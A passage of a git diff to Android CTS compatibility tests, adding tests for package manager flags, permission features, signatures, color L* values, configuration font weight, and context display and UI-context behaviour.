+            xml = ci.loadXmlMetaData(mPackageManager, "android.content.cts.reference");
+            assertThat(xml).isNotNull();
+
+            int type;
+            while ((type = xml.next()) != XmlPullParser.START_TAG
+                    && type != XmlPullParser.END_DOCUMENT) {
+                // Seek parser to start tag.
+            }
+            assertThat(type).isEqualTo(XmlPullParser.START_TAG);
+            assertThat(xml.getName()).isEqualTo("thedata");
+
+            assertThat(xml.getAttributeValue(null, "rawText")).isEqualTo("some raw text");
+            assertThat(xml.getAttributeIntValue(null, "rawColor", 0)).isEqualTo(0xffffff00);
+            assertThat(xml.getAttributeValue(null, "rawColor")).isEqualTo("#ffffff00");
+
+            a = res.obtainAttributes(xml, new int[] {android.R.attr.text, android.R.attr.color});
+            assertThat(a.getString(0)).isEqualTo("metadata text");
+            assertThat(a.getColor(1, 0)).isEqualTo(0xffff0000);
+            assertThat(a.getString(1)).isEqualTo("#ffff0000");
+        } finally {
+            if (a != null) {
+                a.recycle();
+            }
+            if (xml != null) {
+                xml.close();
+            }
+        }
+    }
+
     @Test
     public void testGetApplicationInfo_ApexSupported_MatchesApex() throws Exception {
         assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
@@ -990,4 +1326,118 @@
         assertThat(packageInfo.signatures)
                 .asList().containsExactly((Object[]) pastSigningCertificates);
     }
+
+    /**
+     * Runs a test for all combinations of a set of flags
+     * @param flagValues Which flags to use
+     * @param test The test
+     */
+    public void runTestWithFlags(int[] flagValues, Consumer<Integer> test) {
+        for (int i = 0; i < (1 << flagValues.length); i++) {
+            int flags = 0;
+            for (int j = 0; j < flagValues.length; j++) {
+                if ((i & (1 << j)) != 0) {
+                    flags |= flagValues[j];
+                }
+            }
+            try {
+                test.accept(flags);
+            } catch (Throwable t) {
+                throw new AssertionError(
+                        "Test failed for flags 0x" + String.format("%08x", flags), t);
+            }
+        }
+    }
+
+    /**
+     * Test that the MATCH_FACTORY_ONLY flag doesn't add new package names in the result of
+     * getInstalledPackages.
+     */
+    @Test
+    public void testGetInstalledPackages_WithFactoryFlag_IsSubset() {
+        runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS,
+                this::testGetInstalledPackages_WithFactoryFlag_IsSubset);
+    }
+    public void testGetInstalledPackages_WithFactoryFlag_IsSubset(int flags) {
+        List<PackageInfo> packageInfos = mPackageManager.getInstalledPackages(flags);
+        List<PackageInfo> packageInfos2 = mPackageManager.getInstalledPackages(
+                flags | MATCH_FACTORY_ONLY);
+        Set<String> supersetNames =
+                packageInfos.stream().map(pi -> pi.packageName).collect(Collectors.toSet());
+
+        for (PackageInfo pi : packageInfos2) {
+            if (!supersetNames.contains(pi.packageName)) {
+                throw new AssertionError(
+                        "The subset contains packages that the superset doesn't contain.");
+            }
+        }
+    }
+
+    /**
+     * Test that the MATCH_FACTORY_ONLY flag filters out all non-system packages in the result of
+     * getInstalledPackages.
+     */
+    @Test
+    public void testGetInstalledPackages_WithFactoryFlag_ImpliesSystem() {
+        runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS,
+                this::testGetInstalledPackages_WithFactoryFlag_ImpliesSystem);
+    }
+    public void testGetInstalledPackages_WithFactoryFlag_ImpliesSystem(int flags) {
+        List<PackageInfo> packageInfos =
+                mPackageManager.getInstalledPackages(flags | MATCH_FACTORY_ONLY);
+        for (PackageInfo pi : packageInfos) {
+            if (!pi.applicationInfo.isSystemApp()) {
+                throw new AssertionError(pi.packageName + " is not a system app.");
+            }
+        }
+    }
+
+    /**
+     * Test that the MATCH_FACTORY_ONLY flag doesn't add the same package multiple times since there
+     * may be multiple versions of a system package on the device.
+     */
+    @Test
+    public void testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates() {
+        runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS,
+                this::testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates);
+    }
+    public void testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates(int flags) {
+        List<PackageInfo> packageInfos =
+                mPackageManager.getInstalledPackages(flags | MATCH_FACTORY_ONLY);
+        Set<String> foundPackages = new HashSet<>();
+        for (PackageInfo pi : packageInfos) {
+            if (foundPackages.contains(pi.packageName)) {
+                throw new AssertionError(pi.packageName + " is listed at least twice.");
+            }
+            foundPackages.add(pi.packageName);
+        }
+    }
+
+    @Test
+    public void testInstall_withLongPackageName_fail() {
+        assertThat(installPackage(LONG_PACKAGE_NAME_APK)).isFalse();
+    }
+
+    @Test
+    public void testInstall_withLongSharedUserId_fail() {
+        assertThat(installPackage(LONG_SHARED_USER_ID_APK)).isFalse();
+    }
+
+    @Test
+    public void testInstall_withMaxPackageName_success() {
+        assertThat(installPackage(MAX_PACKAGE_NAME_APK)).isTrue();
+    }
+
+    @Test
+    public void testInstall_withMaxSharedUserId_success() {
+        assertThat(installPackage(MAX_SHARED_USER_ID_APK)).isTrue();
+    }
+
+    private boolean installPackage(String apkPath) {
+        return SystemUtil.runShellCommand("pm install -t " + apkPath).equals("Success\n");
+    }
+
+    private void uninstallPackage(String packageName) {
+        SystemUtil.runShellCommand("pm uninstall " + packageName);
+    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java b/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java
index 7fc3af0..1107467 100644
--- a/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PermissionFeatureTest.java
@@ -23,44 +23,62 @@
 @AppModeFull // TODO(Instant) Figure out which APIs should work.
 public class PermissionFeatureTest extends AndroidTestCase {
     public void testPermissionRequiredFeatureDefined() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_GRANTED,
-                pm.checkPermission("android.content.cts.REQUIRED_FEATURE_DEFINED",
-                        getContext().getPackageName()));
+        assertPermissionGranted("android.content.cts.REQUIRED_FEATURE_DEFINED");
+    }
+
+    public void testPermissionRequiredFeatureDefined_usingTags() {
+        assertPermissionGranted("android.content.cts.REQUIRED_FEATURE_DEFINED_2");
     }
 
     public void testPermissionRequiredFeatureUndefined() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_DENIED,
-                pm.checkPermission("android.content.cts.REQUIRED_FEATURE_UNDEFINED",
-                        getContext().getPackageName()));
+        assertPermissionDenied("android.content.cts.REQUIRED_FEATURE_UNDEFINED");
     }
 
     public void testPermissionRequiredNotFeatureDefined() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_DENIED,
-                pm.checkPermission("android.content.cts.REQUIRED_NOT_FEATURE_DEFINED",
-                        getContext().getPackageName()));
+        assertPermissionDenied("android.content.cts.REQUIRED_NOT_FEATURE_DEFINED");
     }
 
     public void testPermissionRequiredNotFeatureUndefined() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_GRANTED,
-                pm.checkPermission("android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED",
-                        getContext().getPackageName()));
+        assertPermissionGranted("android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED");
+    }
+
+    public void testPermissionRequiredNotFeatureUndefined_usingTags() {
+        assertPermissionGranted("android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED_2");
     }
 
     public void testPermissionRequiredMultiDeny() {
-        PackageManager pm = getContext().getPackageManager();
-        assertEquals(PackageManager.PERMISSION_DENIED,
-                pm.checkPermission("android.content.cts.REQUIRED_MULTI_DENY",
-                        getContext().getPackageName()));
+        assertPermissionDenied("android.content.cts.REQUIRED_MULTI_DENY");
+    }
+
+    public void testPermissionRequiredMultiDeny_usingTags() {
+        assertPermissionDenied("android.content.cts.REQUIRED_MULTI_DENY_2");
+    }
+
+    public void testPermissionRequiredMultiDeny_usingTagsAndAttributes() {
+        assertPermissionDenied("android.content.cts.REQUIRED_MULTI_DENY_3");
     }
 
     public void testPermissionRequiredMultiGrant() {
-        PackageManager pm = getContext().getPackageManager();
+        assertPermissionGranted("android.content.cts.REQUIRED_MULTI_GRANT");
+    }
+
+    public void testPermissionRequiredMultiGrant_usingTags() {
+        assertPermissionGranted("android.content.cts.REQUIRED_MULTI_GRANT_2");
+    }
+
+    public void testPermissionRequiredMultiGrant_usingTagsAndAttributes() {
+        assertPermissionGranted("android.content.cts.REQUIRED_MULTI_GRANT_3");
+    }
+
+    public void assertPermissionGranted(String permName) {
+        final PackageManager pm = getContext().getPackageManager();
         assertEquals(PackageManager.PERMISSION_GRANTED,
-                pm.checkPermission("android.content.cts.REQUIRED_MULTI_GRANT",
-                        getContext().getPackageName()));
+                pm.checkPermission(permName, getContext().getPackageName()));
+    }
+
+    public void assertPermissionDenied(String permName) {
+        final PackageManager pm = getContext().getPackageManager();
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                pm.checkPermission(permName, getContext().getPackageName()));
     }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/SignatureTest.java b/tests/tests/content/src/android/content/pm/cts/SignatureTest.java
index 5008527..03ab031 100644
--- a/tests/tests/content/src/android/content/pm/cts/SignatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/SignatureTest.java
@@ -169,4 +169,17 @@
         assertTrue(signatureFromParcel.equals(byteSignature));
         p.recycle();
     }
+
+    public void testSignatureHashCodeEquals_doesNotIncludeFlags() {
+        // Some classes rely on the hash code and equals not including the flags / capabilities
+        // for the signer. This test verifies two signers with the same signature but different
+        // flags have the same hash code and are still equal.
+        Signature signatureWithAllCaps = new Signature(SIGNATURE_STRING);
+        signatureWithAllCaps.setFlags(31);
+        Signature signatureWithNoCaps = new Signature(SIGNATURE_STRING);
+        signatureWithNoCaps.setFlags(0);
+
+        assertEquals(signatureWithAllCaps.hashCode(), signatureWithNoCaps.hashCode());
+        assertEquals(signatureWithAllCaps, signatureWithNoCaps);
+    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/util/AbandonAllPackageSessionsRule.kt b/tests/tests/content/src/android/content/pm/cts/util/AbandonAllPackageSessionsRule.kt
new file mode 100644
index 0000000..db446f2
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/util/AbandonAllPackageSessionsRule.kt
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts.util
+
+import androidx.test.platform.app.InstrumentationRegistry
+import org.junit.rules.TestRule
+import org.junit.runner.Description
+import org.junit.runners.model.Statement
+
+/**
+ * Abandons all sessions for the instrumentation package after the test has finished.
+ */
+class AbandonAllPackageSessionsRule : TestRule {
+    override fun apply(base: Statement, description: Description?) = object : Statement() {
+        override fun evaluate() {
+            try {
+                base.evaluate()
+            } finally {
+                val packageInstaller = InstrumentationRegistry.getInstrumentation()
+                        .getContext().packageManager.packageInstaller
+                packageInstaller.mySessions.forEach {
+                    try {
+                        packageInstaller.abandonSession(it.sessionId)
+                    } catch (ignored: Exception) {
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/res/cts/ColorStateListTest.java b/tests/tests/content/src/android/content/res/cts/ColorStateListTest.java
index f3be862..5c520bf 100644
--- a/tests/tests/content/src/android/content/res/cts/ColorStateListTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ColorStateListTest.java
@@ -15,23 +15,18 @@
  */
 package android.content.res.cts;
 
-import java.io.IOException;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
+import android.content.cts.R;
 import android.content.pm.ActivityInfo;
 import android.content.res.ColorStateList;
 import android.content.res.Resources;
-import android.content.res.Resources.NotFoundException;
 import android.content.res.Resources.Theme;
 import android.graphics.Color;
 import android.os.Parcel;
 import android.test.AndroidTestCase;
-
-import android.content.cts.R;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import androidx.core.graphics.ColorUtils;
+
 public class ColorStateListTest extends AndroidTestCase {
 
     @SmallTest
@@ -96,6 +91,40 @@
     }
 
     @SmallTest
+    public void testWithLStar() {
+        final int[][] state = new int[][]{{0}, {0}};
+        final int[] colors = new int[]{Color.RED, Color.BLUE};
+        final ColorStateList c = new ColorStateList(state, colors);
+        final double lStar = 50.0;
+        final ColorStateList c1 = c.withLStar((float) lStar);
+        assertNotSame(Color.RED, c1.getDefaultColor());
+
+        final double[] labColor = new double[3];
+        ColorUtils.colorToLAB(c1.getDefaultColor(), labColor);
+        final double targetLStar = labColor[0];
+
+        assertEquals(lStar, targetLStar, 1.0 /* delta */);
+    }
+
+    @SmallTest
+    public void testCreateFromXmlWithLStar() throws Exception {
+        final int xmlId = R.color.testcolor_lstar;
+        final double lStarInXml = 50.0;
+        final int alphaInXml = 128;
+
+        final Resources res = getContext().getResources();
+        final ColorStateList c = ColorStateList.createFromXml(res, res.getXml(xmlId));
+        final int defaultColor = c.getDefaultColor();
+
+        final double[] labColor = new double[3];
+        ColorUtils.colorToLAB(defaultColor, labColor);
+
+        // There's precision loss when converting to @ColorInt. We need a small delta.
+        assertEquals(lStarInXml, labColor[0], 1.0 /* delta */);
+        assertEquals(alphaInXml, Color.alpha(defaultColor));
+    }
+
+    @SmallTest
     public void testValueOf() {
         final ColorStateList c = ColorStateList.valueOf(Color.GRAY);
         assertEquals(Color.GRAY, c.getDefaultColor());
diff --git a/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java b/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
index 4db1ee5..bf43777 100644
--- a/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ConfigurationTest.java
@@ -48,6 +48,7 @@
         mConfig.keyboardHidden = Configuration.KEYBOARDHIDDEN_NO;
         mConfig.navigation = Configuration.NAVIGATION_NONAV;
         mConfig.orientation = Configuration.ORIENTATION_PORTRAIT;
+        mConfig.fontWeightAdjustment = 300;
     }
 
     public void testConstructor() {
@@ -60,6 +61,13 @@
         final Configuration cfg2 = new Configuration();
         assertEquals(0, cfg1.compareTo(cfg2));
 
+        cfg1.fontWeightAdjustment = 1;
+        cfg2.fontWeightAdjustment = 2;
+        assertEquals(-1, cfg1.compareTo(cfg2));
+        cfg1.fontWeightAdjustment = 2;
+        cfg2.fontWeightAdjustment = 1;
+        assertEquals(1, cfg1.compareTo(cfg2));
+
         cfg1.colorMode = 2;
         cfg2.colorMode = 3;
         assertEquals(-1, cfg1.compareTo(cfg2));
@@ -183,7 +191,7 @@
         assertEquals(expectedFlags, tmpc1.updateFrom(c2));
         assertEquals(0, tmpc1.diff(c2));
     }
-    
+
     public void testDiff() {
         Configuration config = new Configuration();
         config.mcc = 1;
@@ -312,6 +320,21 @@
                 | ActivityInfo.CONFIG_UI_MODE
                 | ActivityInfo.CONFIG_FONT_SCALE
                 | ActivityInfo.CONFIG_COLOR_MODE, mConfigDefault, config);
+        config.fontWeightAdjustment = 300;
+        doConfigCompare(ActivityInfo.CONFIG_MCC
+                | ActivityInfo.CONFIG_MNC
+                | ActivityInfo.CONFIG_LOCALE
+                | ActivityInfo.CONFIG_LAYOUT_DIRECTION
+                | ActivityInfo.CONFIG_SCREEN_LAYOUT
+                | ActivityInfo.CONFIG_TOUCHSCREEN
+                | ActivityInfo.CONFIG_KEYBOARD
+                | ActivityInfo.CONFIG_KEYBOARD_HIDDEN
+                | ActivityInfo.CONFIG_NAVIGATION
+                | ActivityInfo.CONFIG_ORIENTATION
+                | ActivityInfo.CONFIG_UI_MODE
+                | ActivityInfo.CONFIG_FONT_SCALE
+                | ActivityInfo.CONFIG_COLOR_MODE
+                | ActivityInfo.CONFIG_FONT_WEIGHT_ADJUSTMENT, mConfigDefault, config);
     }
 
     public void testEquals() {
@@ -363,6 +386,7 @@
                 config.smallestScreenWidthDp);
         assertEquals(Configuration.DENSITY_DPI_UNDEFINED, config.densityDpi);
         assertEquals(Configuration.COLOR_MODE_UNDEFINED, config.colorMode);
+        assertEquals(Configuration.FONT_WEIGHT_ADJUSTMENT_UNDEFINED, config.fontWeightAdjustment);
     }
 
     public void testUnset() {
@@ -390,6 +414,7 @@
                 config.smallestScreenWidthDp);
         assertEquals(Configuration.DENSITY_DPI_UNDEFINED, config.densityDpi);
         assertEquals(Configuration.COLOR_MODE_UNDEFINED, config.colorMode);
+        assertEquals(Configuration.FONT_WEIGHT_ADJUSTMENT_UNDEFINED, config.fontWeightAdjustment);
     }
 
     public void testToString() {
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 81116e5..45b2216 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -1038,4 +1038,9 @@
         AttributeSet anim_rotate_set = Xml.asAttributeSet(anim_rotate_parser);
         assertEquals(R.anim.anim_rotate, Resources.getAttributeSetSourceResId(anim_rotate_set));
     }
+
+    public void testSystemFontFamilyReturnsSystemFont() {
+        Typeface typeface = mResources.getFont(R.font.sample_downloadable_font);
+        assertEquals(typeface, Typeface.create("sans-serif", Typeface.NORMAL));
+    }
 }
diff --git a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
index d98bda8..604c13d 100644
--- a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
+++ b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
@@ -270,6 +270,15 @@
         test.recycle();
     }
 
+    public void testAutoCloseable() {
+        final ContextThemeWrapper contextThemeWrapper = new ContextThemeWrapper(getContext(), 0);
+        contextThemeWrapper.setTheme(R.style.TextAppearance);
+        try (TypedArray ta = contextThemeWrapper.getTheme().obtainStyledAttributes(
+                R.styleable.TextAppearance)) {
+            ta.getIndexCount();
+        }
+    }
+
     public void testNonResourceString() throws XmlPullParserException, IOException {
         final XmlResourceParser parser = getContext().getResources().getXml(R.xml.test_color);
         XmlUtils.beginDocument(parser, XML_BEGIN);
@@ -293,12 +302,9 @@
             final Resources.Theme theme = resources.newTheme();
             theme.applyStyle(R.style.Whatever, false);
 
-            final TypedArray ta = theme.obtainStyledAttributes(parser, R.styleable.style1, 0, 0);
-            try {
+            try (TypedArray ta = theme.obtainStyledAttributes(parser, R.styleable.style1, 0, 0)) {
                 assertTrue(ta.hasValueOrEmpty(R.styleable.style1_type1));
                 assertEquals(TypedValue.TYPE_NULL, ta.getType(R.styleable.style1_type1));
-            } finally {
-                ta.recycle();
             }
         }
     }
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
new file mode 100644
index 0000000..60d8a9f
--- /dev/null
+++ b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.wm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.Activity;
+import android.app.Service;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.cts.ContextTestBase;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.Display;
+import android.view.WindowManager;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Test for {@link Context#getDisplay()}.
+ * <p>Test context type listed below:</p>
+ * <ul>
+ *     <li>{@link android.app.Application} - throw exception</li>
+ *     <li>{@link Service} - throw exception</li>
+ *     <li>{@link Activity} - get {@link Display} entity</li>
+ *     <li>Context via {@link Context#createWindowContext(int, Bundle)}
+ *     - get {@link Display} entity</li>
+ *     <li>Context via {@link Context#createDisplayContext(Display)}
+ *     - get {@link Display} entity</li>
+ *     <li>Context derived from display context
+ *     - get {@link Display} entity</li>
+ *     <li>{@link ContextWrapper} with base display-associated {@link Context}
+ *     - get {@link Display} entity</li>
+ *     <li>{@link ContextWrapper} with base non-display-associated {@link Context}
+ *     - get {@link Display} entity</li>
+ * </ul>
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsContentTestCases:ContextGetDisplayTest
+ */
+@Presubmit
+@SmallTest
+public class ContextGetDisplayTest extends ContextTestBase {
+    @Test(expected = UnsupportedOperationException.class)
+    public void testGetDisplayFromApplication() {
+        mApplicationContext.getDisplay();
+    }
+
+    @Test(expected = UnsupportedOperationException.class)
+    public void testGetDisplayFromService() throws TimeoutException {
+        createTestService().getDisplay();
+    }
+
+    @Test
+    public void testGetDisplayFromActivity() throws Throwable {
+        final Display d = getTestActivity().getDisplay();
+
+        assertNotNull("Display must be accessible from visual components", d);
+    }
+
+    @Test
+    public void testGetDisplayFromDisplayContext() {
+        final Display display = getDefaultDisplay();
+        Context displayContext = mApplicationContext.createDisplayContext(display);
+
+        assertEquals(display, displayContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromDisplayContextDerivedContextOnPrimaryDisplay() {
+        verifyGetDisplayFromDisplayContextDerivedContext(false /* onSecondaryDisplay */);
+    }
+
+    @Test
+    public void testGetDisplayFromDisplayContextDerivedContextOnSecondaryDisplay() {
+        verifyGetDisplayFromDisplayContextDerivedContext(true /* onSecondaryDisplay */);
+    }
+
+    private void verifyGetDisplayFromDisplayContextDerivedContext(boolean onSecondaryDisplay) {
+        final Display display = onSecondaryDisplay ? getSecondaryDisplay() : getDefaultDisplay();
+        final Context context = mApplicationContext.createDisplayContext(display)
+                .createConfigurationContext(new Configuration());
+        assertEquals(display, context.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromWindowContext() {
+        final Display display = getDefaultDisplay();
+        final Context windowContext = createWindowContext();
+        assertEquals(display, windowContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromWindowContextWithDefaultDisplay() {
+        final Display display = getDefaultDisplay();
+        final Context windowContext = mApplicationContext.createWindowContext(display,
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+        assertEquals(display, windowContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromWindowContextWithSecondaryDisplay() {
+        final Display display = getSecondaryDisplay();
+        final Context windowContext = mApplicationContext.createWindowContext(display,
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+        assertEquals(display, windowContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromVisualWrapper() throws Throwable {
+        final Activity activity = getTestActivity();
+        final Display d = new ContextWrapper(activity).getDisplay();
+
+        assertEquals("Displays between context wrapper and base UI context must match.",
+                activity.getDisplay(), d);
+    }
+
+    @Test(expected = UnsupportedOperationException.class)
+    public void testGetDisplayFromNonVisualWrapper() {
+        ContextWrapper wrapper = new ContextWrapper(mApplicationContext);
+        wrapper.getDisplay();
+    }
+}
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
new file mode 100644
index 0000000..8f3fc47
--- /dev/null
+++ b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.wm.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+import android.app.Service;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.cts.ContextTestBase;
+import android.inputmethodservice.InputMethodService;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.Display;
+import android.view.WindowManager;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+
+/**
+ * Test for {@link Context#isUiContext}.
+ * <p>Test context type listed below:</p>
+ * <ul>
+ *     <li>{@link android.app.Application} - returns {@code false}</li>
+ *     <li>{@link Service} - returns {@code false}</li>
+ *     <li>{@link Activity} - returns {@code true}</li>
+ *     <li>Context via {@link Context#createWindowContext(int, Bundle)} - returns {@code true}</li>
+ *     <li>Context via {@link android.inputmethodservice.InputMethodService}
+ *     - returns {@code true}</li>
+ *     <li>Context via {@link Context#createDisplayContext(Display)} - returns {@code false}</li>
+ *     <li>Context derived from display context - returns {@code false}</li>
+ *      <li>UI derived context - returns {@code true}</li>
+ *     <li>UI derived display context - returns {@code false}</li>
+ *     <li>{@link ContextWrapper} with base UI {@link Context} - returns {@code true}</li>
+ *     <li>{@link ContextWrapper} with base non-UI {@link Context} - returns {@code false}</li>
+ * </ul>
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsContentTestCases:ContextIsUiContextTest
+ */
+@Presubmit
+@SmallTest
+public class ContextIsUiContextTest extends ContextTestBase {
+    @Test
+    public void testIsUiContextOnApplication() {
+        assertThat(mApplicationContext.isUiContext()).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnService() throws Exception {
+        assertThat(createTestService().isUiContext()).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnActivity() throws Throwable {
+        assertThat(getTestActivity().isUiContext()).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnWindowContext() {
+        assertThat(createWindowContext().isUiContext()).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnWindowContextWithDisplay() {
+        final Context windowContext = mApplicationContext.createWindowContext(getDefaultDisplay(),
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+        assertThat(windowContext.isUiContext()).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnInputMethodService() {
+        assertThat(new InputMethodService().isUiContext()).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnDefaultDisplayContext() {
+        final Context defaultDisplayContext =
+                mApplicationContext.createDisplayContext(getDefaultDisplay());
+        assertThat(defaultDisplayContext.isUiContext()).isFalse();
+
+        final Context defaultDisplayDerivedContext = defaultDisplayContext
+                .createAttributionContext(null /* attributionTag */);
+        assertThat(defaultDisplayDerivedContext.isUiContext()).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnSecondaryDisplayContext() {
+        final Context secondaryDisplayContext =
+                mApplicationContext.createDisplayContext(getSecondaryDisplay());
+        assertThat(secondaryDisplayContext.isUiContext()).isFalse();
+
+        final Context secondaryDisplayDerivedContext = secondaryDisplayContext
+                .createAttributionContext(null /* attributionTag */);
+        assertThat(secondaryDisplayDerivedContext.isUiContext()).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnUiDerivedContext() {
+        final Context uiDerivedContext = createWindowContext()
+                .createAttributionContext(null /* attributionTag */);
+        assertThat(uiDerivedContext.isUiContext()).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnUiDerivedDisplayContext() {
+        final Context uiDerivedDisplayContext = createWindowContext()
+                .createDisplayContext(getSecondaryDisplay());
+        assertThat(uiDerivedDisplayContext.isUiContext()).isFalse();
+    }
+
+    @Test
+    public void testIsUiContextOnUiContextWrapper() {
+        final Context uiContextWrapper = new ContextWrapper(createWindowContext());
+        assertThat(uiContextWrapper.isUiContext()).isTrue();
+    }
+
+    @Test
+    public void testIsUiContextOnNonUiContextWrapper() {
+        final Context uiContextWrapper = new ContextWrapper(mApplicationContext);
+        assertThat(uiContextWrapper.isUiContext()).isFalse();
+    }
+}
diff --git a/tests/tests/cronet/Android.bp b/tests/tests/cronet/Android.bp
index fc8ec7f..947d5c0 100644
--- a/tests/tests/cronet/Android.bp
+++ b/tests/tests/cronet/Android.bp
@@ -34,7 +34,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts-cronet",
+        "mts",
     ],
 
 }
diff --git a/tests/tests/cronet/TEST_MAPPING b/tests/tests/cronet/TEST_MAPPING
new file mode 100644
index 0000000..b1f3088
--- /dev/null
+++ b/tests/tests/cronet/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCronetTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/database/TEST_MAPPING b/tests/tests/database/TEST_MAPPING
new file mode 100644
index 0000000..4a7fa66
--- /dev/null
+++ b/tests/tests/database/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDatabaseTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
index 125197c..f4b293d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
